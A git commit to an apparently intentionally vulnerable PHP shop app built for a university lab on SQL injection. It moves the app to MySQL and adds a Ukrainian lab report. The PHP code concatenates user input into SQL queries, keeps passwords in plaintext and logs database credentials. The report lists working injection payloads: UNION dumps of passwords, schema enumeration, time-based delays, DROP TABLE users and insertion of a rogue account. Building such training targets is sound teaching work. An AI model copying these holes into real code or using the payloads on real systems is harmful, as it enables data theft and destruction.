dxrknesss/php-vulnerabilities
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feat: add even more vulnerabilities! migrate to mysql

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dxrknesss
2025-06-05 21:25:40 +03:00
parent 11b7696c19
commit 5bea4d52cb
10 changed files with 236 additions and 53 deletions
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13
404.php Normal file
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@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Not found</title>
<link rel="stylesheet" href="index.css">
</head>
<body>
<?php include 'header.php'; ?>
<h1>404 - Not found!</h1>
</body>
</html>

119
database.php
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@ -2,7 +2,11 @@
include_once 'utils.php';
$RESULT_MODE = SQLITE3_BOTH;
$RESULT_MODE = PDO::FETCH_BOTH;
$host = '127.0.0.1';
$db_user = 'root';
$db_password = 'mysql';
session_start();
@ -28,6 +32,8 @@ function connectToRedis()
function initializeNewUser()
{
global $host, $db_user, $db_password;
$redis = connectToRedis();
if (!$redis) {
return false;
@ -40,25 +46,35 @@ function initializeNewUser()
'status' => 'active'
]));
$db_file = "db/$user_id.db";
$db = new SQLite3($db_file);
/* $db_file = "db/$user_id.db"; */
$connStr = "mysql:host=$host;port=3306;charset=UTF8";
try {
$db = new PDO($connStr, $db_user, $db_password);
$schema_sql = file_get_contents('db/schema.sql');
if (!$schema_sql) {
error_log("Failed to read schema file: $schema_path");
return false;
$db->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;");
$db->exec("USE `$user_id`;");
error_log("new db was created successfully! $user_id", 0);
$schema_sql = file_get_contents('db/schema.sql');
if (!$schema_sql) {
error_log("Failed to read schema file: $schema_path");
return false;
}
$db->exec($schema_sql);
}
catch(PDOException $e) {
error_log($e, 0);
throw new Exception($e->getMessage());
}
$db->exec($schema_sql);
if (!$db) {
// Cleanup Redis entry if db creation fails
$redis->hDel('users', $user_id);
return false;
}
$db->close();
return ["user_id" => $user_id, "db_file" => "db/$user_id.db"];
return ["user_id" => $user_id];
}
function initializeApp($existing_user_id = null)
@ -72,13 +88,27 @@ function initializeApp($existing_user_id = null)
function getDB($user_id = null)
{
if (!is_null($user_id)) {
$db_file = "db/$user_id.db";
if (!file_exists($db_file)) {
return createUserDatabase($user_id);
}
return new SQLite3($db_file);
global $host, $db_user, $db_password;
if (is_null($user_id)) {
error_log('user id is null', 0);
return null;
}
error_log("Global vars - host: $host, user: $db_user, password: $db_password", 0);
try {
$connStr = "mysql:host=$host;port=3306;charset=UTF8";
$pdo = new PDO($connStr, $db_user, $db_password);
} catch(PDOException $e) {
error_log($e, 0);
throw new Exception($e->getMessage());
}
/* $pdo->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;"); */
$pdo->exec("USE `$user_id`;");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return $pdo;
}
function registerUser($username, $email, $password)
@ -86,7 +116,12 @@ function registerUser($username, $email, $password)
$db = getDB($_COOKIE['user_id']);
$query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');";
return $db->exec($query);
$res = $db->exec($query);
if ($res === false) {
$errorInfo = $db->errorInfo();
throw new Exception("MySQL Error: $errorInfo[2]. (Code: $errorInfo[1])");
}
return $res;
}
function loginUser($email, $password)
@ -94,8 +129,8 @@ function loginUser($email, $password)
global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']);
$query = "SELECT username, password FROM users WHERE email = '$email';";
$result = $db->query($query)->fetchArray($RESULT_MODE);
if ($result["password"] === $password) {
$result = $db->query($query)->fetch($RESULT_MODE);
if ($result && $result["password"] === $password) {
return $result['username'];
} else {
return null;
@ -107,9 +142,10 @@ function getUserById($id)
global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']);
$query = "SELECT username, email FROM users WHERE id = $id";
try {
$result = $db->query($query);
return $result->fetchArray($RESULT_MODE);
return $result->fetch($RESULT_MODE);
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
}
@ -121,6 +157,7 @@ function createProduct($title, $amountInStock)
$query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)";
try {
error_log($query, 0);
return $db->exec($query);
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
@ -138,14 +175,15 @@ function getProductsByTitle($title)
try {
$result = $db->query($query);
if ($result === false) {
error_log("{$db->lastErrorCode()}", 0);
throw new Exception($db->lastErrorMsg());
$errorInfo = $db->errorInfo();
throw new Exception($errorInfo[2]);
}
$products = [];
while ($row = $result->fetchArray($RESULT_MODE)) {
while ($row = $result->fetch($RESULT_MODE)) {
$products[] = $row;
}
$_SESSION['error_message'] = null;
return $products;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
@ -162,9 +200,10 @@ function getAllProducts()
try {
$result = $db->query($query);
$products = [];
while ($row = $result->fetchArray($RESULT_MODE)) {
while ($row = $result->fetch($RESULT_MODE)) {
$products[] = $row;
}
return $products;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
@ -192,7 +231,10 @@ function getOrdersForUser($userId)
try {
$result = $db->query($query);
return $result->fetchArray($RESULT_MODE);
if ($result) {
return $result->fetch($RESULT_MODE);
}
return null;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
}
@ -207,7 +249,32 @@ function getOrdersForProduct($productId)
try {
$result = $db->query($query);
return $result->fetchArray($RESULT_MODE);
if ($result) {
return $result->fetch($RESULT_MODE);
}
return null;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
}
}
function getAllUsers()
{
global $RESULT_MODE;
$db = getDB($_COOKIE['user_id']);
$query = "SELECT id, username, email FROM users";
try {
$result = $db->query($query);
if (!$result) {
return null;
}
$users = [];
while ($row = $result->fetch($RESULT_MODE)) {
$users[] = $row;
}
return $users;
} catch (Exception $e) {
$_SESSION['error_message'] = $e->getMessage()."\n";
}

19
doc.yaml Normal file
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@ -0,0 +1,19 @@
# title: Робота з AWS Storage. Simple storage (s3)
subject: ТЗІ
doctype: ПЗ
# worknumber: 1
mentors:
- name: Кальницька А. Ю.
degree: Асистент кафедри СТ
gender: f
edu_program: &EDU КНТ
university: ХНУРЕ
authors:
- name: Орлов О. С.
# full_name_gen: Косач Лариси Петрівни
course: 3
edu: *EDU
gender: m
group: 22-1
semester: 6
# variant:

37
index.php
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@ -5,15 +5,13 @@ $request = $_SERVER['REQUEST_URI'];
$path = parse_url($request, PHP_URL_PATH);
if (isset($_COOKIE["user_id"])) {
error_log('cookie is set', 0);
/* error_log('cookie is set', 0); */
} else {
error_log('cookie is NOT set', 0);
/* error_log('cookie is NOT set', 0); */
$ids = initializeApp(null);
setcookie("user_id", $ids["user_id"], time() + 3600, "/");
setcookie("db_file", $ids["db_file"], time() + 3600, "/");
$_COOKIE["user_id"] = $ids["user_id"];
$_COOKIE["db_file"] = $ids["db_file"];
}
/* TODO: remove for prod code */
@ -26,24 +24,15 @@ if ($extension === 'css') {
}
/* TODO: remove for prod code */
switch($path) {
case '': case '/': case '/products':
require __DIR__.'/products.php';
break;
case '/login':
require __DIR__.'/login.php';
break;
case '/register':
require __DIR__.'/register.php';
break;
case '/logout':
require __DIR__.'/logout.php';
break;
case '/orders':
require __DIR__.'/orders.php';
break;
case '/users':
require __DIR__.'/users.php';
break;
}
$page = match($path) {
'', '/', '/products' => '/products.php',
'/login' => '/login.php',
'/register' => '/register.php',
'/logout' => '/logout.php',
'/orders' => '/orders.php',
'/users' => '/users.php',
default => '/404.php',
};
require __DIR__.$page;
?>

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70
lab.typ Normal file
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@ -0,0 +1,70 @@
#import "@local/nure:0.1.0": *
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
#v(-spacing)
== Мета роботи
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
== Хід роботи
#v(-spacing)
vulnerability.linerds.us/products
IN PRODUCT SEARCH
`' OR 1=1 --`
`' UNION select password, password, email from users;`
`' or id=2; -- select item with Nth(2nd) id`
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
IN ADD PRODUCT
`3); drop table users; `
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
`'1'); DO SLEEP(5); #`
// === Підготовка
// #lorem(150)
// === Виконання дослідження
// #lorem(300)
// === Підрахунок результатів
// #lorem(250)
== Висновки
// == Контрольні запитання
// #lorem(100):
// - #lorem(20);
// - #lorem(30);
// - #lorem(15);
// - #lorem(25);
// - #lorem(42);
// - #lorem(27).
#show: appendices_style
// = Quote
// #link("https://youtu.be/bJQj1uKtnus")[
// The art isn't the art, the art is never the art,
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
// ]
// = Приклад звіту 1
// #v(-spacing)
// == Частина 1
// #lorem(100)
// == Частина2
// #lorem(200)
//
// = Приклад звіту 2
// #lorem(200)
//
// = Приклад звіту 3
// #lorem(200)

10
register.php
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@ -8,13 +8,17 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
$email = $_POST["email"];
$password = $_POST["password"];
$result = registerUser($username, $email, $password);
try {
$result = registerUser($username, $email, $password);
} catch(Exception $e) {
error_log($e, 0);
$_SESSION['error_message'] = $e->getMessage();
}
if ($result) {
$_SESSION['error_message'] = null;
$_SESSION['username'] = $username;
$_SESSION['email'] = $email;
} else {
$_SESSION['error_message'] = "User with this username already exists!";
}
header("Location: /products");
}

21
users.php
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@ -1,3 +1,10 @@
<?php
include_once 'database.php';
if (!isset($users)) {
$users = getAllUsers();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
@ -8,6 +15,20 @@
</head>
<body>
<?php include 'header.php'; ?>
<h1>Users - Work in progress!</h1>
<h2>Users:</h2>
<?php if (empty($users)): ?>
<p>No users found.</p>
<?php else: ?>
<?php foreach ($users as $user): ?>
<div class="product">
<h3><?= $user[1] ?></h3>
<p>Id: <?= $user[0] ?></p>
<p>Email: <strong><?php echo $user[2]; ?></strong></p>
</div>
<?php endforeach; ?>
<?php endif; ?>
</body>
</html>

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